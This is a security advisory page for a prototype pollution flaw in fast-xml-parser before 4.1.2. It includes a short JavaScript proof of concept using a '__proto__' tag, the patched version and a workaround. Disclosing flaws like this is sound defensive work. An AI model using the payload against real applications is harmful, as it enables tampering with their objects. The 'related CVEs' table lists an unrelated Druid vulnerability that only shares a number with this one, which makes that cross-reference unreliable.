fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name
### Impact As a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name. ```js const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser"); let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>" const parser = new XMLParser(); let jObj = parser.parse(XMLdata); console.log(jObj.polluted) // should return hacked ``` ### Patches The problem has been patched in v4.1.2 ### Workarounds User can check for "__proto__" in the XML string before parsing it to the parser. ### References https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
describes (2)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2023-26920US | medium6.5OT elevated | — | ||
fast-xml-parser before 4.1.2 allows __proto__ for Prototype Pollution. | ||||
| CVE-2021-26920US | medium6.5OT elevated | — | ||
In the Druid ingestion system, the InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other… | ||||
references
External citations — patches, advisories, analysis.
- https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7WEB
- https://github.com/NaturalIntelligence/fast-xml-parserPACKAGE
- https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804WEB
- https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qxWEB
- https://github.com/advisories/GHSA-793h-6f7r-6qvmADVISORY
- https://nvd.nist.gov/vuln/detail/CVE-2023-26920ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan